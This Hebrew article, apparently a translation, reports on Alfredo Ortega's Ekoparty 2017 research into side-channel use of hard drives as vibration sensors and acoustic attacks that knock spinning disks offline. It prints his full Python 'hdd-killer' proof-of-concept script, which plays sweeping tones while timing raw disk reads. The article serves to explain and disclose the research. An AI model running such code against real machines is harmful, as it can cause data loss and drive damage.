ืœืžื” ืืชื” ืœื ืฆืจื™ืš ืœืฆืขื•ืง ืขืœ ื”ื“ื™ืกืง ื”ืงืฉื™ื— ืฉืœืš

ืœืžื” ืืชื” ืœื ืฆืจื™ืš ืœืฆืขื•ืง ืขืœ ื”ื“ื™ืกืง ื”ืงืฉื™ื— ืฉืœืš

ื‘ื›ื ืก ืื‘ื˜ื—ืช ื”ืžื—ืฉื‘ื™ื ืฉืœ Ekoparty 2017 ื‘ื‘ื•ืื ื•ืก ืื™ื™ืจืก, ื”ืจืื” ื”ื”ืืงืจ ื”ืืจื’ื ื˜ื™ื ืื™ ืืœืคืจื“ื• ืื•ืจื˜ื’ื” ื”ืชืคืชื—ื•ืช ืžืขื ื™ื™ื ืช ืžืื•ื“ - ืžืขืจื›ืช ืœื”ืื–ื ืช ืกืชืจ ืœื—ืฆืจื™ื ืœืœื ืฉื™ืžื•ืฉ ื‘ืžื™ืงืจื•ืคื•ืŸ. ื ืฉืžืข ืžื•ืงืœื˜ ื™ืฉื™ืจื•ืช ืœื›ื•ื ืŸ ื”ืงืฉื™ื—!

ื”ื“ื™ืกืง ื”ืงืฉื™ื— ืงื•ืœื˜ ื‘ืขื™ืงืจ ืฆืœื™ืœื™ื ื‘ืชื“ืจ ื ืžื•ืš ื‘ืขื•ืฆืžื” ื’ื‘ื•ื”ื”, ืฆืขื“ื™ื ื•ืจืขื™ื“ื•ืช ืื—ืจื•ืช. ื“ื™ื‘ื•ืจ ืื ื•ืฉื™ ืขื“ื™ื™ืŸ ืœื ื ื™ืชืŸ ืœื–ื”ื•ืช, ืื ื›ื™ ืžื“ืขื ื™ื ืขื•ืจื›ื™ื ืžื—ืงืจ ื‘ื›ื™ื•ื•ืŸ ื–ื” (ื–ื™ื”ื•ื™ ื“ื™ื‘ื•ืจ ืขืœ ื™ื“ื™ ืจืขื™ื“ื•ืช ื‘ืชื“ืจ ื ืžื•ืš, ื”ืžื•ืงืœื˜ื•ืช, ืœืžืฉืœ, ืžื’ื™ืจื•ืกืงื•ืค ืื• HDD).

ืฆืœื™ืœ ื”ื•ื ืจื˜ื˜ ืฉืœ ืื•ื•ื™ืจ ืื• ืžื“ื™ื•ื ืื—ืจ. ืื“ื ืงื•ืœื˜ ืื•ืชื ื“ืจืš ืขื•ืจ ื”ืชื•ืฃ, ืืฉืจ ืžืขื‘ื™ืจ ืจืขื™ื“ื•ืช ืœืื•ื–ืŸ ื”ืคื ื™ืžื™ืช. ื”ืžื™ืงืจื•ืคื•ืŸ ืžืขื•ืฆื‘ ื‘ืขืจืš ื›ืžื• ืื•ื–ืŸ - ื’ื ื›ืืŸ ืชื ื•ื“ื•ืช ืžื•ืงืœื˜ื•ืช ืขืœ ื™ื“ื™ ืงืจื•ื ื“ืง, ืฉืžืขื•ืจืจ ื“ื—ืฃ ื—ืฉืžืœื™. ื”ื›ื•ื ืŸ ื”ืงืฉื™ื—, ื›ืžื•ื‘ืŸ, ื ืชื•ืŸ ื’ื ืœืจืขื™ื“ื•ืช ืžื™ืงืจื•ืกืงื•ืคื™ื•ืช ืขืงื‘ ืชื ื•ื“ื•ืช ื‘ืื•ื•ื™ืจ ืฉืžืกื‘ื™ื‘. ื–ื” ื™ื“ื•ืข ืืคื™ืœื• ืžื”ืžืืคื™ื™ื ื™ื ื”ื˜ื›ื ื™ื™ื ืฉืœ ื“ื™ืกืงื™ื ืงืฉื™ื—ื™ื: ื™ืฆืจื ื™ื ืžืฆื™ื™ื ื™ื ื‘ื“ืจืš ื›ืœืœ ืืช ืจืžืช ื”ืจื˜ื˜ ื”ืžืจื‘ื™ืช ื”ืžื•ืชืจืช, ื•ื”ื›ื•ื ืŸ ื”ืงืฉื™ื— ืขืฆืžื• ืžื ืกื” ืœืขืชื™ื ืงืจื•ื‘ื•ืช ืœื”ื ื™ื— ืื•ืชื• ื‘ืžื™ื›ืœ ื—ืกื™ืŸ ืจืขื™ื“ื•ืช ืขืฉื•ื™ ื’ื•ืžื™ ืื• ื—ื•ืžืจ ืžื‘ื•ื“ื“ ืื—ืจ. ืžื›ืืŸ ืงืœ ืœื”ืกื™ืง ืฉื ื™ืชืŸ ืœื”ืงืœื™ื˜ ืฆืœื™ืœื™ื ื‘ืืžืฆืขื•ืช HDD. ื›ืœ ืžื” ืฉื ื•ืชืจ ื”ื•ื ืœื”ื‘ื™ืŸ ืื™ืš.

ืืœืคืจื“ื• ืื•ืจื˜ื’ื” ื”ืฆื™ืข ื’ืจืกื” ื™ื™ื—ื•ื“ื™ืช ืฉืœ ื”ืชืงืคืช ืขืจื•ืฅ ืฆื“ื“ื™, ื›ืœื•ืžืจ ื”ืชืงืคืช ื–ืžืŸ. ื”ืชืงืคื” ื–ื• ืžื‘ื•ืกืกืช ืขืœ ื”ื”ื ื—ื” ืฉืคืขื•ืœื•ืช ืฉื•ื ื•ืช ืžื‘ื•ืฆืขื•ืช ื‘ืžื›ืฉื™ืจ ื‘ื–ืžื ื™ื ืฉื•ื ื™ื, ื‘ื”ืชืื ืœื ืชื•ื ื™ ื”ืงืœื˜ ืฉื ื™ืชื ื•. ื‘ืžืงืจื” ื–ื”, "ื ืชื•ื ื™ ื”ืงืœื˜" ื”ื ื”ืจืขื™ื“ื•ืช ืฉืœ ืจืืฉ ื”ืงืจื™ืื” ื•ืฉืœ ืคืœื˜ืช HDD, ื”ืžืชื•ืืžื™ื ืขื ืชื ื•ื“ื•ืช ื”ืกื‘ื™ื‘ื”, ื›ืœื•ืžืจ ืขื ื”ืงื•ืœ. ื›ืš, ืขืœ ื™ื“ื™ ืžื“ื™ื“ืช ื–ืžืŸ ื”ื—ื™ืฉื•ื‘ ื•ื‘ื™ืฆื•ืข ื ื™ืชื•ื— ืกื˜ื˜ื™ืกื˜ื™ ืฉืœ ื”ื ืชื•ื ื™ื, ื ื™ืชืŸ ืœืžื“ื•ื“ ืืช ืชื ื•ื“ื•ืช ื”ืจืืฉ/ืžื’ืฉ ื•ืžื›ืืŸ ืืช ืชื ื•ื“ื•ืช ื”ืžื“ื™ื•ื. ื›ื›ืœ ืฉื”ืขื™ื›ื•ื‘ ื‘ืงืจื™ืืช ื ืชื•ื ื™ื ืืจื•ืš ื™ื•ืชืจ, ื›ืš ืชื ื•ื“ื•ืช HDD ื—ื–ืงื•ืช ื™ื•ืชืจ, ื•ืœื›ืŸ, ื”ืฆืœื™ืœ ื—ื–ืง ื™ื•ืชืจ.

ื›ื™ืฆื“ ืœืžื“ื•ื“ ืจื˜ื˜ ื‘ื›ื•ื ืŸ ื”ืงืฉื™ื—? ืคืฉื•ื˜ ืžืื•ื“: ืคืฉื•ื˜ ื”ืคืขืœ ืืช ืงืจื™ืืช ื”ืžืขืจื›ืช read () - ื•ืชืขื“ ืืช ื”ื–ืžืŸ ืฉืœื•ืงื— ืœื”ืฉืœื™ื. ืžืขืจื›ื•ืช ื”ืคืขืœื” ืžื•ื“ืจื ื™ื•ืช ืžืืคืฉืจื•ืช ืœืš ืœืงืจื•ื ืืช ื”ืชื–ืžื•ืŸ ืฉืœ ืฉื™ื—ื•ืช ื”ืžืขืจื›ืช ื‘ื“ื™ื•ืง ืฉืœ ื ื ื•-ืฉื ื™ื•ืช.

ืžื”ื™ืจื•ืช ืงืจื™ืืช ื”ืžื™ื“ืข ืžืžื’ื–ืจ ืชืœื•ื™ื” ื‘ืžื™ืงื•ื ื”ืจืืฉ ื•ื”ืžื’ืฉ, ื”ืžืชืื ืขื ื”ืจืขื™ื“ื•ืช ืฉืœ ืžืืจื– HDD. ื–ื” ื”ื›ืœ.

ื ื™ืชื•ื— ืกื˜ื˜ื™ืกื˜ื™ ืžืชื‘ืฆืข ื‘ืืžืฆืขื•ืช ื›ืœื™ ืขื–ืจ ืคืฉื•ื˜ ืฉืœ Kscope. ื›ืžื• ืฉืื•ืžืจื™ื, ื”ื›ืœ ื’ืื•ื ื™ ืคืฉื•ื˜.

ืœืžื” ืืชื” ืœื ืฆืจื™ืš ืœืฆืขื•ืง ืขืœ ื”ื“ื™ืกืง ื”ืงืฉื™ื— ืฉืœืš
ื›ืœื™ ื”ืฉื™ืจื•ืช Kscope (stat() syscall)

Kscope ื”ื•ื ื›ืœื™ ืขื–ืจ ืงื˜ืŸ ืœื”ืžื—ืฉืช ื”ื‘ื“ืœื™ื ื–ืขื™ืจื™ื ื‘ื–ืžื ื™ ื‘ื™ืฆื•ืข ืฉื™ื—ื•ืช ืžืขืจื›ืช. ืžึธืงื•ึนืจืคื•ืจืกื ื‘-GitHub.

ื‘ืžืื’ืจ ื ืคืจื“ ื–ืžืŸ HDD ื™ืฉ ื’ืจืกื” ืฉืœ ื›ืœื™ ื”ืฉื™ืจื•ืช ืฉื”ื•ื’ื“ืจื” ืœื”ืชืงืคืช ื–ืžืŸ ืขืœ ื”ื›ื•ื ืŸ ื”ืงืฉื™ื—, ื›ืœื•ืžืจ ืžื•ื’ื“ืจืช ืœื ืชื— ืืช ืงืจื™ืืช ื”ืžืขืจื›ืช read ().

ื”ื“ื’ืžื” ืฉืœ ื”ืงืœื˜ืช ืงื•ืœ ื‘ืืžืฆืขื•ืช HDD, ืชืคืขื•ืœ ื›ืœื™ ื”ืฉื™ืจื•ืช Kscope


ื›ืžื•ื‘ืŸ ืฉืื™ ืืคืฉืจ ืœื”ื‘ื™ืŸ ืืช ื”ื“ื™ื‘ื•ืจ ื‘ืฆื•ืจื” ื–ื•, ืื‘ืœ ื”- HDD ืžืชืื™ื ืœืžื“ื™ ื›ื—ื™ื™ืฉืŸ ืจื˜ื˜. ืœื“ื•ื’ืžื”, ื ื™ืชืŸ ืœืจืฉื•ื ืื ืื“ื ื ื•ืขืœ ื ืขืœื™ื™ื ืงืฉื•ืช ืื• ื™ื—ืฃ ื ื›ื ืก ืœื—ื“ืจ ืขื ืžื—ืฉื‘ (ื›ื ืจืื”, ืื ื”ืชื•ืงืฃ ื ื•ืขืœ ื ืขืœื™ ืกืคื•ืจื˜ ืจื›ื•ืช ืื• ืฉื™ืฉ ืฉื˜ื™ื— ืขื‘ื” ืขืœ ื”ืจืฆืคื”, ื”ื“ื™ืกืง ื”ืงืฉื™ื— ืœื ื™ื•ื›ืœ ืœืจืฉื•ื ืจืขื™ื“ื•ืช - ื–ื” ืฉื•ื•ื” ื‘ื“ื™ืงื”). ื”ืžื—ืฉื‘ ืžืกื•ื’ืœ ืœืจืฉื•ื ืฉื‘ื™ืจื•ืช ื–ื›ื•ื›ื™ืช ืื• ืชืงืจื™ื•ืช ืื—ืจื•ืช ื‘ืขื•ืฆืžืช ืงื•ืœ ื—ื–ืงื”. ื›ืœื•ืžืจ, ื”ื›ื•ื ืŸ ื”ืงืฉื™ื— ื™ื›ื•ืœ ืœืฉืžืฉ ืžืขื™ืŸ ืžืขืจื›ืช ื–ื™ื”ื•ื™ ื—ื“ื™ืจื” ื‘ืœืชื™ ืžื•ืจืฉื™ืช.

ืจื•ืฆื— HDD

ืื’ื‘, ื ื™ืชืŸ ืœื”ืฉืชืžืฉ ื‘ื˜ื›ื ื™ืงื” ื“ื•ืžื” ื›ื“ื™ ืœื”ืฉื‘ื™ืช ื›ื•ื ื ื™ื ืงืฉื™ื—ื™ื. ืจืง ื›ืืŸ ืื ื—ื ื• ืœื ืžืกื™ืจื™ื ืชื ื•ื“ื•ืช ืžื”-HDD, ืืœื ืœื”ื™ืคืš, ืื ื—ื ื• ื™ื•ืฆืจื™ื ืชื ื•ื“ื•ืช ืฉืžื•ื–ื ื•ืช ืœ-HDD. ืื ืืชื” ืžืฉืžื™ืข ืฆืœื™ืœ ืžืจืžืงื•ืœ ื‘ืชื“ืจ ืฉืžื”ื“ื”ื“ ืขื ืชื“ืจ HDD, ื”ืžืขืจื›ืช ืžื›ื‘ื” ืืช ื”ืžื›ืฉื™ืจ ื‘ืžื”ืจื” ืขื ืฉื’ื™ืืช I/O (ืงืจื ืœ ื”ืœื™ื ื•ืงืก ืžื›ื‘ื” ืœื—ืœื•ื˜ื™ืŸ ืืช HDD ืœืื—ืจ 120 ืฉื ื™ื•ืช). ื”ื›ื•ื ืŸ ื”ืงืฉื™ื— ืขืฆืžื• ืขืœื•ืœ ืœืกื‘ื•ืœ ืžื ื–ืง ื‘ืœืชื™ ื”ืคื™ืš.

ืœืžื” ืืชื” ืœื ืฆืจื™ืš ืœืฆืขื•ืง ืขืœ ื”ื“ื™ืกืง ื”ืงืฉื™ื— ืฉืœืš
ืœื™ื‘ืช ืœื™ื ื•ืงืก ื›ื™ื‘ื” ืืช ื”ื›ื•ื ืŸ ื”ืงืฉื™ื— ืœืื—ืจ 120 ืฉื ื™ื•ืช ืฉืœ ืืกืคืงืช ืฆืœื™ืœ ื‘ืชื“ืจ ืชื”ื•ื“ื” ื“ืจืš ื”ืจืžืงื•ืœ ืฉืœ ืจืžืงื•ืœ ื”-USB Edifier r19u. ื”ืจืžืงื•ืœ ืžื•ืคืขืœ ื‘ื›ืจื‘ืข ืžื”ื”ืกืคืง (ืคื—ื•ืช ืž-100 mW) ื•ืžืžื•ืงื 20 ืก"ืž ืžื”ื“ื™ืกืง ื”ืงืฉื™ื—, ืžื›ื•ื•ืŸ ืœืฉื•ืœื—ืŸ ื›ื“ื™ ืœืฉืคืจ ืืช ื”ืจืขื™ื“ื•ืช. ืžืกื’ืจืช ืž ื•ื™ื“ืื• ืงืœื™ืค ืขื ื”ื“ื’ืžื” ืฉืœ ืจื•ืฆื— HDD

ื–ื” ืžื•ื–ืจ ืฉ"ื”ืชืงืคื•ืช" ื›ืืœื” ืขืœ ื“ื™ืกืงื™ื ืงืฉื™ื—ื™ื ืžืชืจื—ืฉื•ืช ืœืคืขืžื™ื ืœื’ืžืจื™ ื‘ื˜ืขื•ืช ื‘ื—ื™ื™ ื”ื™ื•ืžื™ื•ื. ืœื“ื•ื’ืžื”, ื‘ืกืคื˜ืžื‘ืจ 2016, ืžืจื›ื– ื”ื ืชื•ื ื™ื ืฉืœ ื‘ื ืง ING ื ืืœืฅ ืœื”ืฉืขื•ืช ืืช ื”ืคืขื™ืœื•ืช ืœืžืฉืš 10 ืฉืขื•ืช ืœืื—ืจ ืชืจื’ื™ืœ ื›ื™ื‘ื•ื™ ืืฉ. ืขืฉืจื•ืช ื›ื•ื ื ื™ื ืงืฉื™ื—ื™ื ื ื›ืฉืœื• ืขืงื‘ ืฆืœื™ืœ ื—ื–ืง ืฉืœ ื’ื– ืื™ื ืจื˜ื™ ื”ืžืฉืชื—ืจืจ ืžื”ื’ืœื™ืœื™ื ื‘ืœื—ืฅ ื’ื‘ื•ื”. ื”ืฆืœื™ืœ ื”ื™ื” ื—ื–ืง ืžืื•ื“ (ื™ื•ืชืจ ืž-130 dB), ืื‘ืœ ืืชื” ืืคื™ืœื• ืœื ื™ื›ื•ืœ ืœืฆืขื•ืง ืขืœ ื”ื›ื•ื ื ื™ื ื”ืงืฉื™ื—ื™ื - ื–ื” ืžื’ื‘ื™ืจ ืืช ื”ืขื™ื›ื•ื‘ ื‘ื’ื™ืฉื” ืœ- HDD.

ื”ื“ื’ืžื” ืฉืœ ืฆืจื—ื•ืช ืื ื•ืฉื™ื•ืช ืขืœ ื›ื•ื ื ื™ื ืงืฉื™ื—ื™ื ื‘ืžืจื›ื– ื ืชื•ื ื™ื. ืžื“ื™ื“ืช ื—ื‘ื™ื•ืŸ


ื›ื“ื™ ืœื™ืฆื•ืจ ืืช ื”ืฆืœื™ืœ ื”ืžื”ื“ื”ื“, ืืœืคืจื“ื• ืื•ืจื˜ื’ื” ื›ืชื‘ ืชืกืจื™ื˜ ืฉืœ Python ื‘ืฉื HDD-killer (ื”ื“ื’ืžืช ื•ื™ื“ืื•).

ืชืกืจื™ื˜ ืจื•ืฆื— HDD ื”ื•ื ื“ื™ ืงื˜ืŸ, ืื– ืืชื” ื™ื›ื•ืœ ืœืคืจืกื ืื•ืชื• ื‘ืžืœื•ืื• ื›ืืŸ.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ืžืงื•ืจ: www.habr.com

ื”ื•ืกืคืช ืชื’ื•ื‘ื”